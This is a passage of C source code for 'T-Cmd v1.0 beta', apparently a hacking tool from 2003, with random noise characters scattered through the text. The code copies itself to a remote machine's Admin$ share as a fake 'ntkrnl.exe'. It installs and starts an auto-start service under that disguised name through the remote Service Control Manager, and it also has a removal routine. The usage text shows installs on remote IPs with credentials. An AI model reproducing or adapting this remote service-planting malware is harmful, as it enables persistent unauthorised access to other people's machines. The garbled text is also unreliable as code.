if(lpHost==NULL)$ \0 ?2 |; E# {3 E3 ? {: z! o$ h( C8 L, ?4 L& c4 x GetSystemDirectory(lpImagePath,MAX_PATH); X: w: z0 I; ]$ t strcat(lpImagePath,"\\ntkrnl.exe");/ L* k7 p+ X" C0 o" ^9 w# ] lpHostName=NULL; - ?* F) F& }( _! @0 s, K } 8 R S" s6 H7 g( y+ h9 j5 v0 Y: H: K else- Z& C0 W3 k0 B! z# r: _$ C3 h$ B { 9 G- Z( ?& ^3 Y) ~9 g* b; M sprintf(lpImagePath,"\\\\%s\\Admin$\\system32\\ntkrnl.exe",lpHost);4 e0 ]- w- U8 j- S G lpHostName=(char *)malloc(256); + w' _0 P$ f T! I2 T. g sprintf(lpHostName,"\\\\%s",lpHost); ! x E7 p5 n' E3 Q8 H }

printf("Transmitting File ... "); x4 R% J3 U# z+ ?0 y8 b/ W hSearch=FindFirstFile(lpImagePath,&FileData); ; ?- v# {0 ^2 J, Y. h. r# Z' G if(hSearch==INVALID_HANDLE_VALUE) ; m6 B. P9 `* w4 r {5 O! h& ^) ]$ Z6 P) W; E; b GetModuleFileName(NULL,lpCurrentPath,MAX_PATH); 5 V* c) Y7 Y& D. [ if(CopyFile(lpCurrentPath,lpImagePath,FALSE)==0) : t; r' e9 ^" C; t/ G) N% S { ) {' P Q/ b' s dwErrorCode=GetLastError();! O d5 ^4 U2 I3 { if(dwErrorCode==5)+ Q8 u. `( l3 `9 \* s+ k% x4 e { 4 A6 E4 ?0 M. p0 V6 F+ G2 p printf("Failure ... Access is Denied !\n"); / D2 a: \5 o; I& C; e }, Y" j' Z8 N4 }) l$ l$ F4 y' u1 R else # B' W6 a3 j- B# }; U! L {& J0 E7 n& z$ i& E# u+ m printf("Failure !\n"); C' n3 M f1 } }3 G$ ~+ n3 @* C" N! n return ; 8 w* L0 N' j! T9 a4 W }# i# j+ @2 T& i* ~5 e; L else1 ^' V# Q6 q7 F# k) o4 @ { $ G: U* C! s5 F* ~0 d7 O/ ? printf("Success !\n");% s6 H$ x7 d* Z; m- F6 ?2 z* G }2 _! T6 P. v/ M7 ]( ^/ |6 N8 Q } . e5 i1 m% c3 Y else/ p- T6 Q* u4 Y# m7 T' B' F { 7 t- b2 G1 R: A. @$ L" [ printf("already Exists !\n");" E( n, T$ x7 r1 q0 i FindClose(hSearch); : S9 _/ J# Y' t: w* F6 `; j }

schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS); ' S; e( [: r8 i, s8 s1 G$ Q if(schSCManager==NULL)# X j, n; h! p. u1 [+ m {: Y0 b7 I$ X# b: Q* p/ Q printf("Open Service Control Manager Database Failure !\n");. Z4 t5 j& K% x; m: |, P2 H return ;* v$ D0 l1 M V/ N R. ^/ r }

printf("Creating Service .... ");' {0 A* l, f5 S- g5 I2 ?6 H schService=CreateService(schSCManager,"ntkrnl","ntkrnl",SERVICE_ALL_ACCESS,. \7 t& [/ y- N: E SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START,# M" }" Z8 g6 m7 I" K h SERVICE_ERROR_IGNORE,"ntkrnl.exe",NULL,NULL,NULL,NULL,NULL); & p6 u- N) o) U4 N- V4 ^/ h if(schService==NULL) . ^1 Z$ a6 H6 i0 t# t {6 Z$ F( Z$ _* V! y2 ? dwErrorCode=GetLastError();2 i$ E, q2 S6 L" h% B3 B$ ^ if(dwErrorCode!=ERROR_SERVICE_EXISTS), v( N6 k9 o2 M' P6 c# q { % q/ Z7 U: x- v+ V# b- L+ t3 y4 ` printf("Failure !\n"); 9 h+ N3 O& W6 O9 `; a CloseServiceHandle(schSCManager);8 i* u2 l) Y% j# Q7 T7 q4 u return ; 3 x; a" o5 v- f Q$ N* n% ~ } + |* n( g6 Y0 r; |9 _, m else & M: ^7 O. d9 M: E7 { {% i- p# i/ p1 ]& r/ o- W( `' {, U printf("already Exists !\n"); 7 g4 F' M7 E Y( j+ J' F; f! k schService=OpenService(schSCManager,"ntkrnl",SERVICE_START);' s9 |- Y6 @3 s/ c, E' c$ M if(schService==NULL)% [3 {3 o6 |+ N* S" ]9 ?- e# J {% @* U6 k* \: ~% ^* t printf("Opening Service .... Failure !\n"); j1 X0 @0 Q0 M7 L4 X0 C' {/ L& x CloseServiceHandle(schSCManager);# z/ D% _7 R3 j. [ u5 X$ s l return ; ' ~( u9 E4 P8 j# E1 V' ` }8 W: \! ?4 o; y. h5 O } . }5 x" {, B- [/ V! L- M } 0 ~( ~$ ~0 O- k9 }, H else % ]+ {, E/ }6 R4 O6 x { ; o( ^, h7 x: U6 m) f3 w# R printf("Success !\n"); 3 O, a8 O K+ x' L1 E }

printf("Starting Service .... "); % L! T+ O/ z2 B if(StartService(schService,0,NULL)==0) ! B0 a' {! ]; m {9 K* _$ h- X' n$ ]2 h dwErrorCode=GetLastError();& d/ Z: Z+ G/ m" M. r" a if(dwErrorCode==ERROR_SERVICE_ALREADY_RUNNING)! N4 H) Y( I) @7 _2 G {2 c3 O1 G$ ~( V3 |3 }) q% J printf("already Running !\n");" |4 \# ?: s' M+ L CloseServiceHandle(schSCManager); 8 R2 j: X1 {4 X' X; D/ A CloseServiceHandle(schService);0 d1 {+ v3 M3 X& D+ { return ; $ K: T" x3 H+ ~% r }* J4 b: X/ i# R. H& y }$ X. d! D' k7 f else , z/ H @$ w1 R {* n' ^4 H$ e1 W+ o* F+ J2 i8 V printf("Pending ... ");. M& B( l# m! G% ? }

while(QueryServiceStatus(schService,&InstallServiceStatus)!=0) % @ h' D m4 j { 4 B" O' R& j5 [7 A+ p if(InstallServiceStatus.dwCurrentState==SERVICE_START_PENDING) 3 C; I9 x, E. V- r2 X9 K/ g8 ^4 f% E% f { 5 o' F5 J+ y( ~5 M8 k% n Sleep(100);% B5 G" ~: t6 `, A( U& g8 d }+ X: V/ i' j) S0 L ]' r else + g; }7 }$ Q6 x: R {# t! V5 X, O' S2 } break; 5 D) f, \9 P0 [ } . ~2 _" G/ _) I }, [0 H6 ]% c6 d! j% w8 O if(InstallServiceStatus.dwCurrentState!=SERVICE_RUNNING) : G) i% \$ @2 f { * _8 K, b- d% G+ H1 J printf("Failure !\n"); 2 i1 t; x9 v3 Q6 p4 J0 y } + I6 F4 |4 n7 [3 e7 J$ o# w0 o else) d) [$ V: ~5 t j; B$ B. K( \, O {# a% Z# @# }+ }7 |6 d; s printf("Success !\n");. p/ x& {! t" `5 f. D2 \% S8 ~5 y }

CloseServiceHandle(schSCManager);1 u2 t0 F5 ^* E5 M CloseServiceHandle(schService);5 U A+ D3 D' g* M+ p return ;1 v7 A B/ h3 I# V8 A7 ? }

void RemoveCmdService(char *lpHost) ) i' z/ b. ?. B3 R& L{ - X1 q' |" j/ J# s+ e8 B+ K/ }/ ^+ ^ SC_HANDLE schSCManager; 4 V/ z z: v# ]7 Q SC_HANDLE schService; ; x6 s' y0 K& Z, ^ char lpImagePath[MAX_PATH]; 5 r/ N. p( b! s5 P ] char *lpHostName; 9 U- e9 k0 T2 [# A WIN32_FIND_DATA FileData; 4 J! z% @; x7 x SERVICE_STATUS RemoveServiceStatus;* ~: i" t- W/ O HANDLE hSearch; - \% r3 ? g* n# Q6 O c DWORD dwErrorCode;

if(lpHost==NULL); H X3 q; |! ~1 x. m6 O { * i, W! a' F+ a9 z0 J% V GetSystemDirectory(lpImagePath,MAX_PATH);# v$ K# E% S( C strcat(lpImagePath,"\\ntkrnl.exe"); . w+ y6 y+ y( ?$ A' }+ X# j. i k lpHostName=NULL; 3 w& q. ^ m6 [/ p1 F3 ^ } " m. E" W/ q/ j( u4 y; c else+ w! j6 C6 B3 r/ s' e2 _ {6 L+ n: i- N4 [: \( q# m sprintf(lpImagePath,"\\\\%s\\Admin$\\system32\\ntkrnl.exe",lpHost); ( F4 V, L4 ?% y5 Q9 O$ t3 M- Q lpHostName=(char *)malloc(MAX_PATH); # G5 B6 g5 @( C8 L( v5 t% l# u sprintf(lpHostName,"\\\\%s",lpHost);! k9 d% H; Y2 [- {. l Y/ _ }

schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);; C# _8 S: f d0 B# X0 R if(schSCManager==NULL)2 r. S) ]8 B( H/ e8 I { ; V1 v8 O$ ]) d* B printf("Opening SCM ......... "); . m2 F9 s) f( V! N8 f/ z& W0 t: Z dwErrorCode=GetLastError(); 9 e5 Q2 ? D% p/ q if(dwErrorCode!=5)$ Y* G. J! z( E; k {& W) f0 {' N4 i printf("Failure !\n"); 0 W; v% E4 R4 ^. r' ^1 a% ~6 E }& i8 ]& Y. k+ Z6 v, P) L: u( k; V else " Q- T% U$ b y4 @7 n F1 F { $ q- @" d" l3 e8 h! _3 u printf("Failuer ... Access is Denied !\n"); ; z n- \: v. M6 X } : x) k4 M' A+ F U. P; @ return ; * U9 S; t% O% \9 u1 } }

schService=OpenService(schSCManager,"ntkrnl",SERVICE_ALL_ACCESS); - Q5 Q' {4 e8 e ?. a if(schService==NULL) ) r/ w0 x( W; O9 |7 [ { # l8 p5 x% c. O! u printf("Opening Service ..... ");" I2 G0 Y5 ` m0 E2 ^# ?8 { dwErrorCode=GetLastError();" o- Q9 N8 `+ y1 V' g7 B; `; O if(dwErrorCode==1060)$ \4 Q" d7 A2 m {7 Z/ Y1 g- Z' s printf("no Exists !\n");5 {6 A" |/ p$ Y; i6 }7 Q }( V# W& X( R& f else * R9 ^5 S9 x0 b {7 ^# E( ]5 [0 j. T printf("Failure !\n"); , U2 }9 G4 v# V4 r2 L } + @5 u- w% J* |, } CloseServiceHandle(schSCManager);! _ t; K7 d! \8 L9 h2 n5 u% Q }' T- k9 ~* ?; J else + }4 l( `& l7 P s0 O {2 V+ c. e! i# J! _+ z) o printf("Stopping Service .... ");) c3 W5 X8 [. z+ m# m/ X if(QueryServiceStatus(schService,&RemoveServiceStatus)!=0)$ [$ W3 @, g- M" u/ M! f6 k' Q {, ?4 D7 F- o6 B, D if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED); u: o, }! T; N s' V {8 C3 M g0 \) ~4 M2 x( t printf("already Stopped !\n"); 7 ?" b: z% ^8 h } ; |. C/ k2 U5 n, R. ]/ ` else2 U( M9 I: w0 n: P+ Y# P- ^ K; b1 L& L { 2 J0 \7 J1 J% h4 A5 s( Y printf("Pending ... ");5 \7 \5 @# s# l+ O( Q if(ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus)!=0) 7 O, A1 I- N8 ]0 |, O { & ~3 T5 o2 x( d2 V* _) J; X" ?0 R while(RemoveServiceStatus.dwCurrentState==SERVICE_STOP_PENDING) 6 z, J& b! \8 ]+ u5 ^. f4 p+ h- w) Y {$ m3 e5 t5 q' t Sleep(10);: k @5 ]# L/ L" g QueryServiceStatus(schService,&RemoveServiceStatus); ) r2 X; u- b* T) \1 }0 U }. J( e7 X) |: Q if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED) # K; C: y+ v. e# N7 S! \ { & s% \! D! q0 U; e1 B8 f printf("Success !\n");& o( a9 m7 @" @ } 0 ^/ H$ y/ Y" h' z6 C0 q* {9 | else: a w0 S$ c$ Z) Y- ^) f {9 m* ?" ~! R$ m printf("Failure !\n");- w! P% M' Y1 b" k7 Y } 2 A1 w6 ^5 k' ~; `2 a: A! v* U } 5 ~* g. _5 H# t" d+ l; t3 t else$ Q o. @. z7 N% y; R& ~$ z( M {4 O4 l, s# b4 R# q3 B+ W printf("Failure !\n"); 2 m- V! }+ t) z8 |1 [" ?) M7 |5 x } 2 T! X. F! {0 H4 S% r }' M7 n) ?* @+ }; e2 v& N/ y } 5 K4 J1 `5 m( u else 1 v% Y( Z+ ?5 @) Q. |& E# [ { ' X* u0 ]8 W# X( D printf("Query Failure !\n"); * `( T d9 j- } e& I }

printf("Removing Service .... "); # h; o+ A4 k* c7 _9 Z if(DeleteService(schService)==0) / Z+ j) N: B0 T7 v+ R' W! J6 O { , X A' G# F* s# P! @ printf("Failure !\n"); 9 [1 B3 Q9 `1 P. n( { }4 q8 c/ `2 W) k$ c. P# ~ else - k5 C% ~: ?9 D. ]& i) B5 _ {" R q- \. N7 H printf("Success !\n");" v3 d$ {7 ~3 J }9 Z# M2 G3 m; j6 c }

CloseServiceHandle(schSCManager); : P, \8 Q- q- L4 v CloseServiceHandle(schService);

printf("Removing File ....... "); 5 l0 \# U: s8 p1 l Sleep(1500);/ t/ U$ Z; y# j+ o, e4 w; s hSearch=FindFirstFile(lpImagePath,&FileData); 2 p h+ M l+ R' Z$ L7 V+ i if(hSearch==INVALID_HANDLE_VALUE) 6 u' W# V5 ~# {1 N1 {$ @3 C { 6 E5 q8 t1 e* D, T printf("no Exists !\n");) j; G2 g1 g1 y/ G3 J } 9 Z# Y& S, @; |) ^" v! N9 G else 5 u2 H% I0 W# Q3 _! H; t- s { , Y% {1 Z7 I1 Y7 B) t if(DeleteFile(lpImagePath)==0) 7 T9 x$ D; ?/ @7 ?6 Z s4 X {' B$ l2 ?! q; R9 X. p0 A printf("Failure !\n"); ' _, ]: |5 \' {: p6 B3 _ M } ! `% O, F3 _4 B+ d. E% {; T0 D else* W* @& F1 b& c# [0 V8 I C/ ]! z {7 K% W* B5 B. j- ] printf("Success !\n");" g* Y# @" z7 e/ t) f, i9 i5 H } 7 b8 o+ S" }1 }7 q @$ C2 ] FindClose(hSearch); . E9 }7 X7 Y+ @) D }

return ;+ b6 P3 A0 C% }4 A, o( g }

void Start() " Q$ A/ }& t( [/ k# M( t{ 4 e5 b4 K5 Z0 b7 W printf("\n"); , P/ M$ _) T* w printf("\t\t---[ T-Cmd v1.0 beta, by TOo2y ]---\n"); ; d" a; c% S% F$ }7 K3 t printf("\t\t---[ E-mail: TOo2y@safechina.net ]---\n"); ' ~4 R; k+ ?: M( K: m printf("\t\t---[ HomePage: www.safechina.net ]---\n");, x! `/ k% d/ r' @1 d printf("\t\t---[ Date: 02-05-2003 ]---\n\n");3 {, ^+ q1 \1 i/ Q) | return ; 4 T. z4 t7 v8 `6 b}

void Usage()9 [+ }3 `- D( S3 S {$ k- m$ z. x9 |6 ?1 B printf("Attention:\n");( c1 Y# v9 t& t8 V" Z printf(" Be careful with this software, Good luck !\n\n");2 H2 I/ o) @0 f# B printf("Usage Show:\n");' B8 |% h0 U+ L/ a printf(" T-Cmd -Help\n"); 5 ^8 Q* Z; @; J& u printf(" T-Cmd -Install [RemoteHost] [Account] [Password]\n");* A- y/ k# c7 z% G8 X printf(" T-Cmd -Remove [RemoteHost] [Account] [Password]\n\n"); 0 j7 e% k& i4 X: ^ k6 a printf("Example:\n"); , m4 A" n6 D* h* C" e printf(" T-Cmd -Install (Install in the localhost)\n");3 p2 j. n2 ~2 m) B" s, c A printf(" T-Cmd -Remove (Remove in the localhost)\n");( k( n! U* Q' K# A! U; o, ~: G- v printf(" T-Cmd -Install 192.168.0.1 TOo2y 123456 (Install in 192.168.0.1)\n");7 L, m- x3 I: P# O$ x; \ printf(" T-Cmd -Remove 192.168.0.1 TOo2y 123456 (Remove in 192.168.0.1)\n");+ f6 i& _. U6 p" m# g. ] printf(" T-Cmd -Install 192.168.0.2 TOo2y NULL (NULL instead of no password)\n\n"); 1 r# E& n! [/ s& x2 i return ;. E8 _7 ]' ^& G M; e9 X } 3 d1 s' ]7 L4 ~7 G9 E! _6 f